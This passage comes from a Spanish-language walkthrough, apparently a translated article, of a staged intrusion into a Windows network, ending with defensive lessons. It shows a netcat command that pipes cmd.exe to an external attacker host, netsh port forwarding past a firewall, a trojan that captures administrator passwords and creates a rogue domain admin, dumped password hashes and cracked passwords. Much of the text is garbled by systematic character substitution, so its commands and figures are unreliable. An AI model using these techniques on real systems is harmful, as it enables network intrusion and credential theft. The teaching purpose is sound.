ser,idor miembro o inde*endiente tendra los mismos nombres de #ost $ cuentas de dominios. Por
de+ecto' los &ontroladores de Dominios Windows /er,er FGGU *ermiten a usuarios annimos
obtener toda est0 in+ormacin *ara *ermitir com*atibilidad #acia atr0s con Windows N5 H.G $
Windows Nx. 3o :nico "ue no *uede obtener el atacante es la asociacin en el gru*o de
Administradores. 2sta in+ormacin *uede ser restringida' *ero #onestamente' no es *articularmente
im*ortante. Primero' un atacante *odra obtener +0cilmente esta in+ormacin reali)ando una *eticin
usando cual"uier cuenta de dominio. /egundo' si lo :nico "ue te se*arara de la red com*rometida
+uese una lista de usuarios en tu dominio' estaras en a*rietos. 3a lista de usuarios no debera
sim*lemente ser *articularmente sensible' a:n cuando normalmente no "ueramos "ue sim*lemente
se distribu$a.
Para +inali)ar' tambi(n #aremos un escaneo de *uertos.
C:\warez(portscan 1<2.1<.0.2
Port 1<2.1<.0.2:*3 open
Port 1<2.1<.0.2:13* open
Port 1<2.1<.0.2:139 open
Port 1<2.1<.0.2:389 open
Port 1<2.1<.0.2:44* open
Port 1<2.1<.0.2:3268 open
Nuestros *uertos nos *ueden decir cosas interesantes. Ya "ue el *uerto UFWT est0 escuc#ando' este
debe ser un ser,idor de &atalogo Xlobal *ara el bos"ue. 2sto signi+ica "ue VMF.VM.G.F es un
ob8eti,o altamente ,alioso. &uriosamente' este sistema no tiene los ser,icios de 5erminal
#abilitados.
5oda,a no sabemos donde se usa la cuenta P;D/. Para descubrirlo' ,amos a enumerar los usuarios
"ue e8ecutan ser,icios en ,arios #osts.
C:\warez(serviceuser \\1<2.1<.0.1
4D9 P85'D+B\Cis
9erviceuser tambi(n se e8ecuta de un modo annimo' $ descubrimos lo "ue sos*ec#0bamos: el
ser,icio ;D/ tambi(n se utili)a en el ser,idor Web' usando la cuenta "ue $a tenemos. 2sta es toda la
in+ormacin necesaria *ara *oseer esta ma"uina tambi(n:
C:\warez(net use \\1<2.1<.0.1\c@ Du:p1n'7z\Cis isPasswO
63e co77an co7p)ete successfu))1.
<emos ca*turado exitosamente el ser,idor WebK
<emos com*rometido con (xito dos m0"uinas.
A"u est0 el resumen de las *r0cticas o*eracionales "ue nos #an lle,ado #asta a"u.
5enemos una conecti,idad *lena entre el ser,idor de la base de datos $ el ser,idor Web= no
#a$ ning:n ti*o de +iltrado de tr0+ico interno. /e debera +iltrar ciertas cosas en la red
interna.
<emos sido ca*aces de recu*erar muc#a in+ormacin sobre los ob8eti,os de la red sobre
conexiones annimas. 2sto se #abilita *or temas de com*atibilidad #acia atr0s $ no suele ser
necesario *ara redes actuali)adas. De #ec#o' consideramos "ue matar a los Windows Nx $
N5 H.G como algo de gran bene+icio en materia de seguridad. No solo son inseguros esos
sistemas en los entornos actuales' sino "ue tambi(n re"uieren "ue *restes tus sistemas de
ma$or ni,el de un modo inseguro.
<aba una de*endencia de cuenta de ser,icio entre el ser,idor de bases de datos $ el ser,idor
Web. Una de*endencia de cuentas de ser,icios ocurre cuando un sistema es de*endiente de
la seguridad de otra a tra,(s de una cuenta de ser,icio com*artida. 3as cuentas de ser,icio
com*artidas son un ob8eti,o *rinci*al *ara los atacantes *or"ue' al contrario "ue el crackeo
de cla,es' no #a$ retardo a la #ora de obtenerlos.
Ca'turando e& Dominio
A#ora necesitamos concentrarnos en el asunto de ca*turar el dominio D6D -De6ilitari)ed Done..
1ecuerda "ue #asta a#ora *oseemos el ser,idor de bases de datos $ el ser,idor Web' todo exce*to el
controlador de dominio de #ec#o. /in embargo' "u( #emos obtenido realmente con el ser,idor
Web% Para descubrirlo' tenemos "ue comen)ar a subir nuestras #erramientas a (l $ luego obtener un
inter*rete de comandos en ese sistema al igual "ue lo #icimos en el ser,idor de bases de datos. 2s
sim*lemente un *oco m0s sencillo a#ora "ue tenemos una conexin administrati,a /64 #acia el
ser,idor Web. Por e8em*lo' *odemos *lani+icar un comando o e8ecutar un comando :til remoto *ara
subir nuestro ware) al ser,idor Web $ e8ecutarlo desde a#. Des*u(s de #aberlo #ec#o' e8ecutamos
Netcat $ nos traemos un s#ell remoto a nuestro #ost de ata"ue del mismo modo "ue lo #icimos con
el ser,idor Web. &omen)amos *or abrir un *uerto de escuc#a Netcat en VFUHW' en el #ost del
atacante. Des*u(s usamos la excelente #erramienta de /$stem ;nternals *sexec *ara subir nuestro
ware) al ser,idor Web $ e8ecutar nuestro comando remoto:
C:\warez\pseEec \\p1n'we? ' c:\warez\nc 'v 'e c7.eEe attacAer.eEterna)
12346
2sto generar0 un int(r*rete de comandos le8ano desde el ser,idor Web en nuestro #ost de ata"ue' al
igual "ue #icimos en el ser,idor.
2l lector obser,ador se #abr0 *ercatado de "ue #asta a#ora' si no tenemos en cuenta el sitio Web
gr0+icamente de+iciente' no #emos ,isto nada m0s "ue no sea una ,entana de dialogo. Francamente'
muc#o atacantes -nosotros incluidos. *re+erimos traba8ar con la lnea de comandos *or"ue muc#as
,eces es m0s e+iciente *ara atacar. /in embargo' con dos m0"uinas com*rometidas el atacante
*uede tambi(n acceder a un ;nter+a) de Usuario Xr0+ico -XU;.' *ero ,amos a tener "ue ,alernos de
ciertas artima7as *ara conseguirlo.
Nota
2s bastante cmico realmente' estamos a dos tercios del +inal de este artculo' toda,a sigues
le$endo' $ no #emos ,isto a:n nada exce*to un *u7ado de #erramientas de la lnea de comandos. 2so
dice muc#o de nuestra *ro+esin' no%
3a conexin XU; m0s ob,ia es la reali)ada a tra,(s de los /er,icios de 5erminal de Windows
-1DP.. 1DP escuc#a en el *uerto UUTN. Un escaneador de *uertos de la base de datos nos re,ela
"ue tambi(n est0 e8ecutando los /er,icios de 5erminal:
C:\warez(portscan 1<2.1<.0.3
Port 1<2.1<.0.3:13* open
Port 1<2.1<.0.3:139 open
Port 1<2.1<.0.3:44* open
Port 1<2.1<.0.3:1433 open
Port 1<2.1<.0.3:3389 open
2l *roblema es "ue no *odemos reatar 5erminal /er,ices *ara "ue use ese *uerto. /i lo #ici(ramos'
sera altamente *erce*tible. 2l sigilo es crucial *ara los atacantes' as "ue tendremos "ue #acer
alguna otra cosa. 2sa otra cosa se consigue con un redireccionador de *uertos.
1ecuerda "ue tenamos solo dos *uertos en el corta+uegos' el TG $ el HHU. 1ecuerda tambi(n "ue no
#aba nada escuc#ando al *uerto HHU en el ser,idor Web. /i necesitamos abrir un *uerto de escuc#a
en alg:n lado' ese sera un gran *uerto *ara usar. /i solo los *uertos re"ueridos est0n abiertos en el
corta+uegos' el atacante tendra "ue interrum*ir alg:n ser,icio existente' aun"ue +uera bre,emente'
*ara *oner en marc#a una a*licacin "ue escuc#a. /in embargo' si #a$ *uertos "ue no se utili)an en
el corta+uegos' *odemos con+igurar un redireccionador de *uertos sin interrum*ir o*eraciones $ no
nos arriesgamos a alarmar a los administradores legtimos.
Un redireccionador de *uertos coge el tr0+ico "ue ,iene de un *uerto $ lo direcciona a otro #ost en
otro *uerto. 2n otras *alabras' ,amos a *oner en marc#a un redireccionador en el ser,idor Web "ue
coger0 el tr0+ico de entrada *or el *uerto HHU $ lo sacar0 *or el *uerto UUTN al ser,idor de bases de
datos. 1om*iendo con la tradicin de no e"ui*ar al sistema o*erati,o con #erramientas de ata"ue'
6icroLo+t ,iene e"ui*ado a#ora con un redireccionador con ;P,W.
C:\warez(nets3 interface portproE1 a v4tov4 )istenport%443
connectaress%P85'9:; connectport%3389
/i ;P,W est0 instalado' la #erramienta nets# se extiende *ara incluir un Prox$ de *uertos. 2st0
+uncionalidad est0 designada *ara ma*ear *uertos ;P,W a *uertos ;P,H -m0s correctamente' un
*uerto en la ca*a de trans*orte *or encima de ;P,W #aca otro *uerto de la ca*a de trans*orte *or
encima de ;P,H. *ara #abilitar "ue ;P,W atra,iese redes ;P,H.
/i el #ost com*rometido no tiene ;P,W' el atacante tendra "ue instalarlo o usar alguna #erramienta
*ersonali)ada. Ya "ue el ser,idor Web tiene ;P,W en este caso' *odemos usar esta +uncionalidad
incor*orada. &on el socket de conexin abierto' todo lo "ue #acemos es establecer una conexin en
el ser,idor Web usando nuestro cliente ordinario de /er,icios de 5erminal -;nicioAR<erramientasA
R&omunicacionesAR&onexin a 2scritorio 1emoto.. F8ate "ue le decimos al cliente "ue se conecte
al ser,idor Web' no al ser,idor de bases de datos. 2l redireccionador de *uertos se #ace cargo del
reen,o de nuestro tr0+ico desde el ser,idor de la base de datos.
7stsc Dv:www.victi7srus.co7:443
2l resultado se ,e claramente en la siguiente imagen. A#ora *odemos entrar con nuestra cuenta
P;D/. Una ,e) dentro' tendremos todo el *oder de un XU;.
Bbtener un s#ell gr0+ico es *osible a tra,(s de un +irewall mal con+igurado.
Eol,iendo *or un momento al ser,idor Web' toda,a no sabemos "ue administradores est0n en ese
ser,idor *or"ue u7pinfo no nos lo dice. Podemos usar las #erramientas incluidas *or de+ecto *ara
descubrirlo:
C:\warez(net )oca)2roup a7inistrators
=)ias na7e a7inistrators
Co77ent =7inistrators 3ave co7p)ete an unrestricte access to t3e
co7puterDo7ain
+e7?ers
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
P85'D+B\Cis
=7inistrator
P85'D+B\Do7ain =7ins
63e co77an co7p)ete successfu))1.
2sto es mu$ interesante. A"u #a$ no #a$ muc#as cuentas. 5an solo ,emos la cuenta de ser,icio "ue
$a #emos encontrado *re,iamente' la del Administrador local $ la de los Administradores de
dominio. 2sto signi+ica *robablemente "ue cuando necesitan administrar el sistema' el
administrador usa una cuenta del gru*o de Administradores de Dominio. 2sto es bueno saberlo'
*or"ue nos abre la *osibilidad de usar un caballo de 5ro$a *ara #acer "ue uno de estos usuarios nos
ca*ture el dominio *or nosotros.
Troyanos
Al igual "ue los ,irus $ los gusanos' la comunidad del mundo de la seguridad toda,a est0
discutiendo sobre la de+inicin exacta de un *rograma del ti*o caballo de 5ro$a' o 5ro$ano *ara
abre,iar. 2n ,e) de entrar en el debate' ,amos a usar una de+inicin *r0ctica de 5ro$ano: >un
*rograma malicioso "ue es e8ecutado *or un usuario' ex*lcitamente o sin darse cuenta' mientras
#ace uso de o*eraciones corrientes $ "ue tiene un e+ecto clandestino adem0s del de "ue el usuario
es*era "ue #aga?. 3os tro$anos normalmente *resentan alg:n ti*o de +uncionalidad "ue los usuarios
necesitan $ des*u(s #acen alguna otra cosa adem0s de esa +uncionalidad.
2n t(rminos generales' un atacante *uede *re+erir usar un ata"ue directo *or"ue esto le *ro*orciona
resultados m0s r0*idamente. /in embargo' si todo lo dem0s +alla' nuestro :ltimo recurso ser0 un
ata"ue *asi,o *ara com*letar nuestro ob8eti,o. Un tro$ano es una de esas +ormas de ata"ue' $ en
este caso' ,amos a con,ertir el *roceso de entrada al sistema en un tro$ano.
Para #acerlo' ,amos a usar otra #erramienta *ersonali)ada. Eamos a registrarlo en el ser,idor Web
-VMF.VM.G.V. desde nuestra conexin de /er,icios de 5erminal en el ser,idor de bases de datos $
con+igurarlo *ara "ue noti+i"ue a nuestro atacante' en VNF.VWT.F.VVF' tal como se muestra en la
siguiente +igura:
1egistrando un caballo de 5ro$a.
2l caballo de 5ro$a se autoAregistra $ auto instala en unos cuantos sitios. Primero instala un gestor
de credenciales. Un gestor de credenciales *uede ser usado legtimamente *ara conectarse a otro
sistema usando las credenciales con las "ue te #as conectado en este sistema. &omo recibe las
credenciales de texto *lano *ara #acerlo' *uede ser usado ilegtimamente *ara ca*turar contrase7as
en texto claro a cual"uier momento "ue se conecte alguien. A#ora considera lo siguiente' "u( sera
lo *rimero "ue un administrador #ara si algo *areciese estar mal en el sistema% Demasiadas ,eces
la res*uesta es: entrar al sistema. 5an *ronto como eso ocurra' el atacante recibir0 su :til
noti+icacin.
C:\ (nc ') 'p 80
=ut3entication
61pe%+9.1C0:4nteractive
9tation 5a7e%,in9ta0
>ser%P85'D+B\=7inistrator
Passwor%!6est1234!
2n este caso' la noti+icacin llega al atacante a tra,(s del *uerto TG. <emos con+igurado Netcat en
el #ost *ara "ue lo re*ita en nuestra *antalla todo lo "ue se le en,e. 2ste tro$ano *articular
sim*lemente abre un socket en el *uerto TG en el #ost del atacante $ le en,a la noti+icacin de lo
ocurrido. /in embargo' las noti+icaciones *odran ir ci+radas' codi+icadas' ,enir sobre cual"uier
*uerto o *rotocolo $ alteradas de muc#as maneras. 3os atacantes sueles usar el ;nternet 1ela$ &#at
-;1&.' *or e8em*lo. 5ambi(n #emos ,isto unos cuantos tro$anos "ue im*lementan el ci+rado *ara
todas las noti+icaciones' aun"ue toda,a estamos *or ,er uno "ue #aga un buen uso de intercambio
de lla,es.
2l tro$ano tambi(n *one un enlace a s mismo en <S36Z/o+twareZ6icroso+tZ
WindowsZ&urrentEersionZ1un. &uando es in,ocado' determina si el usuario "ue est0 entrando al
sistema es un administrador de dominio. De serlo' el tro$ano' "ue a#ora se est0 e8ecutando en el
contexto de ese usuario' crea una nue,a cuenta de usuario en el dominio $ luego a7ade la misma al
gru*o de Administradores de Dominio-el gestor de credenciales se e8ecuta como 3ocal/$stem' $ no
*uede reali)ar esta tarea' *or eso esto est0 #ec#o en la *orcin de la lla,e 1un del registro en su
lugar.. /i consiguiera crear el nue,o usuario' en,iara la noti+icacin al atacante a tra,(s del mismo
canal usado *re,iamente:
9ucceee in ain2 a user.
>ser: attacAer@
Passwor: !>are0wn3O!
Do7ain: P85'D+B
DC: P85'D+B'DC
Finalmente' el tro$ano se borra a si mismo de la cla,e 1un del registro *ara borrar sus rastros. 5odo
esto ocurre mientras el administrador entra en el sistema' $ *or lo tanto es com*letamente
trans*arente *ara (l.
3os gestores de credenciales' como #emos mencionado antes' se usan *ara conectarse
trans*arentemente a otros sistemas utili)ando las credenciales con las "ue #as entrado a ese sistema.
2sto es *arte de esa gran *anacea de la administracin de sistemas: un :nico signAon-el *roceso de
introducir el nombre de usuario $ la contrase7a.. /in embargo' si cambias la contrase7a en este
sistema' tambi(n necesitas cambiarla en el otro sistema. Por lo tanto' los gestores de credenciales
*ueden tambi(n sincroni)ar las contrase7as entre los di+erentes sistemas' $ son llamados cuando se
cambian las contrase7as *ara #acerlo. A#ora considera "ue es lo "ue el administrador #ara si
sos*ec#a "ue el sistema #a sido com*rometido $ su cla,e robada. &ambiar la cla,e *arece una
buena idea a"u' as "ue tira adelante $ lo #ace. 2l atacante a#ora recibe otra noti+icacin:
Passwor C3an2e
61pe%+9.1C0:4nteractive
9tation 5a7e%,in9ta0
>ser%P85'D+B\=7inistrator
#) Passwor%!6est1234!
5ew Passwor%!6est1234*!
Debemos decirlo m0s claro "ue esto% Una ,e) "ue el c#ico malo e8ecuta cdigo como
administrador de domino' la red de8a de ser tu red. .o te puedes fiar de la red para nada.
ADVERTENCIA:
2l momento en "ue entres al sistema con las credenciales del administrador de dominio a un sistema
com*rometido' entregaras la totalidad de dominio.
2n este *unto' como muestra la siguiente imagen' el dominio D6D #a cado. A#ora tenemos acceso
com*leto al maestro de lla,es del reino. 2stas lla,es consisten en' entre otras cosas' la base de datos
de los usuario "ue obtendremos bre,emente' 8usto des*u(s de "ue lancemos otra lnea de comandos
como la anterior.
2l controlador del dominio D6D #a sido com*rometido.
5an *ronto como el atacante se a*odera del controlador de dominio' el *rimer acto es normalmente
extraer todas las cuentas de usuarios $ marcas #as# de contrase7as del controlador de dominio.
&omo tenemos *ri,ilegios administrati,os' #acerlo es sim*lemente cuestin de usar la *o*ular
#erramienta PWDum*. <aci(ndolo tendramos una salido como la siguiente:
C:\warez(pwu7p2.eEe
=7inistrator:*00:624aac413<9*cc1ff1<36*faf1ffe89:?9e0cfceaf60<<9<0306a2f88a<
c0a:::
Iuest:*01:aa3?43*?*1404eeaa3?43*?*1404ee:316cfe016ae931?<3c*9<e0c089c0:::
Ar?t2t:*02:aa3?43*?*1404eeaa3?43*?*1404ee:2823<c666e4??3cc966<0caca1*93?:::
9>PP#$6C38894*a0:1001:aa3?43*?*1404eeaa3?43*?*1404ee:c0<21<*<63?0*?3f??1*2f*
<?96e<c:::
=)eE:1106:af0*8ae<908*?21<3062<2a9441??:c4332*ff<<cafacf02f6e3eaa<f*020:::
Go?:110<:1f8f06cf<8??3aaa3?43*?*1404ee:2408f92a?284046cc69*2<**f449e2:::
Ceci):1108:?ff4?96021f2f93e28<4*?8?f4?a6:??94<<810308a0?6<6f3ca91f10*39:::
Denise:1109:2<8e6998<3*3c4c83<af3f2*ca3:2c6<?*<142*<*1<4<e<ae3<9fefe9fcc:::
Fric:1110:693e<f320aae<6293e28<4*?8?f4?a6:f?8*3a32cc2?92?43639?0e<29e09:::
Hre:1111:ea03148ef?24<fc*?e30f*82a941*:18cce9<ee18142?e6*41336*8<23813:::
Ieor2e:1112:6c32f38e08f49f026f8092a33aaf0*:a88?<84<12614<<e269e4c11*<1?12<:::
Henr1:1113:499016*9efc*e16aa3?43*?*1404ee:986300c<c0c333cc*41<?ac6f90?:::
4rene:1114:68**<0a?c3<1c2?<<?4e<109416a?8:363c93e6?e<a*c?001e<a*42c292f26:::
...
Por a#ora es su+iciente saber "ue Windows *or de+ecto guarda dos ti*os di+erentes de
re*resentaciones de las cla,es: el >#as#? 36 -"ue realmente no es un #as#. $ el #as# N5. De esta
salida' *odemos decir "ue el sistema guardas #as#es 36. 2stas son buenas -malas%. noticias
*or"ue es muc#o m0s +0cil crackearlas. Alimentad con esta salida nuestro crackeador +a,orito $
tendremos algo como lo siguiente:
/a&ida de& Crackeador de C&a(es
N)-,RE DE
6/ER
CLAVE
LAN-AN
-EN)/
DE 9%
CLAVE
NTL-
TIE-!) DE
CRAC:E)
-ET)D) DE
CRAC:E)
Alex A1;APDN2 ariaPDne Gd VW# OFm UHs Fuer)a bruta
4ob PW;33AA x PWillAA Gd V# VWm Ts Fuer)a bruta
&ecil %%%%%%%/
Denise D2&2642-1 dece6be-r Gd G# Gm HUs Fuer)a bruta
2ric /<;E2^1/ s#iEe^rs Gd FF# UWm VHs Fuer)a bruta
Fred A6B1P-<BU/ a6or*-#ous Gd VG# HVm OGs Fuer)a bruta
Xeorge P_A;N32// *_aiNless Gd W# VTm Hs Fuer)a bruta
<enr$ &BFF22` x co++2e` Gd G# Gm Vs <brido
;rene 6;&<a2332 mic<aelle Gd VH# UGm FWs Fuer)a bruta
[ulie x
Surt NYb!U;/5 N$b"uist Gd FF# OWm VMs Fuer)a bruta
3aura FP216A5 x +PermAt Gd FU# OWm FVs Fuer)a bruta
6aggie F;/<2.1/ +i/#e.rs Gd FF# UNm Fs Fuer)a bruta
5edd$ A6B1P-<BU/ a6or*-#ous Gd VG# HVm OGs Fuer)a bruta
6ike YB/26;52b $osemi5eb Gd G# Gm Vs <brido
&omo *od(is obser,ar' en menos de FH #oras #emos crackeado la ma$ora de las contrase7as de
este sistema= J$ no son malas contrase7asK <emos crackeado tres en menos de un minuto. Un
atacante real *odra crackear cla,es incluso m0s r0*ido. <a$ #erramientas dis*onibles "ue utili)an
un gran es*acio de almacenamiento *ara acelerar el *roceso de crackeo' "ue reducen
signi+icati,amente el tiem*o de crackeo.
6ientras el crack est0 e8ecut0ndose' *odemos continuar a*rendiendo m0s cosas sobre la red:
C:\warez(ipconfi2 Da))
,inows 4P Confi2uration
Host 5a7e . . . . . . . . . . .: P85'D+B'DC
Pri7ar1 Dns 9uffiE . . . . . . .: P85'D+B.;#C=;
5oe 61pe . . . . . . . . . . .: >nAnown
4P $outin2 Fna?)e . . . . . . .: 8es
,459 ProE1 Fna?)e . . . . . . .: 5o
D59 9uffiE 9earc3 ;ist . . . . .: P85'D+B.;#C=;
Ft3ernet aapter Corp5et:
Connection'specific D59 9uffiE . .
Description . . . . . . . . . .: 4nte) 21140'Gase PC4 Hast
Ft3ernet =apterRIenericS T2
P31sica) =ress . . . . . . . .: 00'03'HH'06'3F'H0
DHCP Fna?)e . . . . . . . . . .: 5o
4P =ress . . . . . . . . . .: 10.1.2.16
9u?net +asA . . . . . . . . . .: 2**.2**.2**.0
Defau)t Iatewa1 . . . . . . . .:
D59 9ervers . . . . . . . . . .: 1<2.1<.0.2
Ft3ernet aapter D+B5et:
Connection'specific D59 9uffiE . :
Description . . . . . . . . . .: 4nte) 21140'Gase PC4 Hast
Ft3ernet =apter RIenericS
P31sica) =ress . . . . . . . .: 00'03'HH'0<'3F'H0
DHCP Fna?)e . . . . . . . . . .: 5o
4P =ress . . . . . . . . . .: 1<2.1<.0.2
9u?net +asA . . . . . . . . . .: 2**.2**.2**.0
Defau)t Iatewa1 . . . . . . . .: 1<2.1<.0.1
D59 9ervers . . . . . . . . . . .: 1<2.1<.0.2
2sta salida es extremadamente interesante. 2l D& no solo *ertenece a dos redes' sino "ue est0 entre
la red cor*orati,a $ la D6D. 2sto se suele #acer *ara #abilitar usar cuentas de usuario de un
dominio en el otro. /ea *or lo "ue +uere' la red cor*orati,a es el :ltimo ob8eti,o' as "ue
*rocedemos a atacar *ara *oner un *ie en esa red:
C:\warez(iscoverHosts 10.1.2
$ep)1 fro7 10.1.2.16: ?1tes%32 ti7eU17s 66;%128
$ep)1 fro7 10.1.2.1<: ?1tes%32 ti7e%*47s 66;%128
VW es ob,iamente el centro de datos D&' *ero VM es un nue,o #ost "ue no #emos ,isto antes.
Usando otra #erramienta de enumeracin annima' *odemos conseguir algo m0s de in+ormacin
sobre (l:
C:\warez(2et91ste7Detai)s 10.1.2.1<
5a7e: P85'C#$PDC
Do7ain: P85
#9 .ersion: *.2
9erver etai)s:
,orAstation service
9erver service
Do7ain Contro))er
56P 6i7e source
VM es el controlador de dominio "ue est0bamos buscando. Podemos decir "ue est0 e8ecutando
Windows /er,er FGGU' *ero no muc#o m0s. 3o siguiente "ue #aremos es sacar los usuarios:
C:\warez(u7pinfo 10.1.2.1<
63e =7inistrator is: P85\=7inistrator
>sers on P85'C#$PDC:
$4D 1000 P85\He)p9ervicesIroup an =)ias
$4D 1001 P85\9>PP#$6C38894*a0 a >ser
$4D 1002 P85\6e)netC)ients an =)ias
$4D 1003 P85\P85'C#$PDC@ a >ser
$4D 1104 P85\=aron a >ser
$4D 110* P85\Gi))1 a >ser
$4D 1106 P85\C3ucA a >ser
$4D 110< P85\D1)an a >ser
$4D 1108 P85\F))en a >ser
$4D 1109 P85\HranA a >ser
$4D 1110 P85\6o7 a >ser
$4D 1111 P85\DicA a >ser
$4D 1112 P85\Harr1 a >ser
$4D 1113 P85\4n2ri a >ser
$4D 1114 P85\Pennifer a >ser
$4D 111* P85\+a22ie a >ser
$4D 1116 P85\6e1 a >ser
$4D 111< P85\+iAe a >ser
$4D 1118 P85\+cQenzie a >ser...
93are 61pe Co77ent
4PC@ >nAnown $e7ote 4PC
5F6;#I#5 DisA ;o2on server s3are
=D+45@ 9pecia) $e7ote =7in
989.#; DisA ;o2on server s3are
C@ 9pecia) Defau)t s3are
=7inistrators:
>na?)e to enu7erate a7inistrators
F$$#$: =ccess Denie
2ste sistema tiene muc#os m0s usuarios "ue los otros "ue #emos ,isto -la salida de arriba #a sido
truncada *ara sim*li+icarla.. 2so era de es*erar' *or"ue este es el D& cor*orati,o *rinci*al.
5ambi(n #emos encontrado usuarios "ue tambi(n tienen cuentas en el D& de la D6D. De #ec#o'
#a$ uno del cual #emos crackeado la cla,e en segundos. 2s *robablemente ra)onable es*erar "ue
usuarios "ue tienen cuentas administrati,as en el D6D tengan tambi(n cuentas administrati,as en la
red cor*orati,a' $ las *robabilidades de "ue usen la misma cla,e en las dos redes suelen ser mu$
altas. Por estas ra)ones' los atacantes *robablemente *robaran las cuentas du*licadas. <asta a#ora el
ata"ue #a sido bastante sigiloso $ si no +unciona #abr0 un sim*le +allo de entrada de sistema' cosa
"ue es un riesgo ace*table en la ma$ora de los casos.
C:\warez(net use \\p1n'corpc\c@ Du:p1n\+iAe !1ose7i6eV!
63e co77an co7p)ete successfu))1.
3isto. &omo ,emos en la +igura de aba8o la red #a sido com*letamente com*rometida.
5oda la red #a sido com*rometida.
2n este *unto el atacante *uede reali)ar cual"uier accin "ue desee. Algunas o*ciones *otenciales
*odran ser: rebuscar datos en la red' robar in+ormacin con+idencial' a7adirse asimismo a la
*lantilla' usar la red *ara atacar otra red como una em*resa asociada' etc. 2l atacante tiene un
acceso com*leto $ sin restricciones a toda la red de ,ictimsrus.com.
!ost2mortem
/era :til a#ora retroceder $ resumir las *r0cticas o*eracionales "ue #emos ex*lotado *ara ca*turar
los dos controladores de dominio:
2l corta+uegos tena un *uerto abierto "ue no se usaba en ning:n #ost interno. Usando una
#erramienta *ara redireccionar *uertos #emos sido ca*aces de conseguir un s#ell XU; a tra,(s de
ese *uerto.
Des*u(s #emos usado la extremadamente com:n *r0ctica administrati,a de usar cuentas de
alto ni,el *ara entrar en ser,idores no +iables. Usar credenciales de alta seguridad en
ma"uinas com*rometidas de ba8a seguridad com*romete m0"uinas de alta seguridad. 2sta
*r0ctica es conocida como de*endencia administrati,a.
Des*u(s de ca*turar el D& del centro de datos' +ue sim*le *edirle "ue nos ,olcara los #as#es
de las cla,es $ crackearlas. Aun"ue los #as#es de contrase7as no re*resentan tericamente
ninguna ,ulnerabilidad *or si mismos -la ,ulnerabilidad es *ermitir "ue usuarios no +iables
*uedan acceder a ellos.' muc#os de los usuarios tienen contrase7as ina*ro*iadas "ue +ueron
+0ciles de crackear.
2ncontramos des*u(s una de+ectuosa segmentacin de la red "ue nos *ermiti un acceso no
restringido desde el D& de la D6D a la red cor*orati,a. 2sto nos *ermite ex*lotar las
de*endencias entre los sistemas en la D6D $ a"uellos "ue est0n en la red cor*orati,a.
Finalmente' #emos usado otra +orma de de*endencia administrati,a ex*lotando el #ec#o de
"ue al menos un usuario tena cuentas administrati,as tanto en la red D6D como en la red
cor*orati,a' $ usaba la misma cla,e *ara las dos cuentas.
Como Conse%uir -antener un Atacante ;uera de Tu Red
Des*u(s de "ue la red #a$a sido com*rometida' el administrador de sistemas tiene un *ar de
o*ciones *ara lidiar con el com*romiso:
Actuali)ar el currculo
2s*erar a "ue el atacante #aga un buen traba8o gestionando la red -digamos "ue' me8or "ue
lo "ue t: #as #ec#o%.
Drenar la red
3im*iar lo "ue #a #ec#o el atacante no es una o*cin ,iable. Probablemente #a$a tro$anos *or toda
la red' nue,as cuentas en sitios estrat(gicos' *uertas traseras $ todo ti*o de t(cnicas de es*iona8e del
atacante *ara asegurarse de "ue su duro traba8o no es des*erdiciado. 3im*iar lo "ue los atacantes
#an #ec#o en una red cum*le el mismo *rinci*io "ue lim*iar la *iscina de l"uidos indeseables.
Ninguna cantidad de lim*iador o cloro "ue se *ueda ,erter a la *iscina ,a a com*letar tal traba8o.
&onsidera las siguientes *r0cticas comunes cuando lim*ies un sistema #ackeado:
.o se puede limpiar un sistema comprometido parc$endolo. Parc#eando solo elimina la
,ulnerabilidad. Des*u(s de "ue un atacante entre en tu sistema' *robablemente se #a$a
asegurado de "ue #a$a muc#as otras maneras de "ue regrese.
.o puedes limpiar un sistema comprometido eliminando puertas traseras. 3os atacantes
*ondr0n *uertas traseras en cual"uier sistema "ue necesiten en el +uturo' $ cuanto me8or sea
el atacante' m0s oculto estar0 la *uerta trasera. Aun"ue *uede "ue encuentres estas *uertas
traseras si *uedes cargar el estado actual del sistema en un #ost "ue se*as "ue est(
+uncionando correctamente $ lo com*ares con >instant0neas? de ata"ues *reAconocidos'
nunca *odr0s garanti)ar "ue ,a$as a encontrar todas las *uertas traseras "ue el atacante
*uso. 2l #ec#o de "ue no encuentres m0s *uede "ue solo signi+i"ue "ue no se*as donde
mirar -o "ue el sistema est0 tan com*rometido "ue lo "ue t: actualmente est0s ,iendo no es
lo "ue realmente est0 a#.. 6irar el sistema mientras est0 +uncionando no tiene sentido'
*or"ue el atacante te mostrar0 cosas "ue no existe $ esconder0 cosas "ue s existan' *ara "ue
creas "ue el sistema est0 lim*io.
.o puedes limpiar un sistema comprometido usando un eliminador de vulnerabilidades.
/u*n "ue tu sistema #a sido in+ectado *or 4laster. Un gran n:mero de *ro,eedores
*ublicaron eliminadores de ,ulnerabilidades *ara 4laster. Puedes +iarte de un sistema "ue
#a tenido 4laster des*u(s de e8ecutar esta #erramienta% Nosotros no lo #aramos. /i el
sistema +ue ,ulnerable a 4laster' tambi(n lo +ue a otro n:mero de ata"ues. Puedes asegurar
"ue ninguno de ellos se e8ecutaron contra (l%
.o puedes limpiar un sistema comprometido usando un escaneador de virus. Un sistema
totalmente com*rometido no *uede ser +iable a la #ora de decirte la ,erdad. ;ncluso los
escaneadores de ,irus deben +iarse del sistema *ara "ue no les mientan. /i ellos *reguntan si
un +ic#ero en *articular est0 *resente' el atacante *uede tener una #erramienta *re*arada "ue
mienta sobre ello. /e debe tener en cuenta "ue si *uedes garanti)ar "ue la :nica cosa "ue
com*rometi el sistema +ue un ,irus o gusano en *articular' Y "ue sabes "ue este ,irus no
tiene ninguna *uerta trasera asociada con (l' Y "ue la ,ulnerabilidad usada *or el ,irus no
estaba accesible remotamente' 2N5BN&2/ s *uedes usar un escaneador de ,irus *ara
lim*iar el sistema. Por e8em*lo' la gran ma$ora de gusanos de eAmail con+an en "ue el
usuario abra el ad8unto. 2n este caso en *articular' es *osible "ue la :nica in+eccin del
sistema sea la "ue ,enga en el ad8unto "ue contiene el gusano. /in embargo' si la
,ulnerabilidad usada *or el gusano estaba dis*onible remotamente sin "ue el usuario
interactuara $ t: no *uedas garanti)ar "ue el gusano era la :nica cosa "ue uso esa
,ulnerabilidad' el sistema *uede "ue est( m0s com*rometido de lo "ue *are)ca. Adem0s' si
el usuario #ace doble clic en un ad8unto titulado >PB1NB X1A5;/ A!Uc' "u( otros
ad8untos de correo no #abr0 e8ecutado% 2n general' dale a un usuario la eleccin entre unos
cerdos "ue bailan $ la seguridad $ descubrir0s "ue los cerdos "ue bailan ganar0n en todo
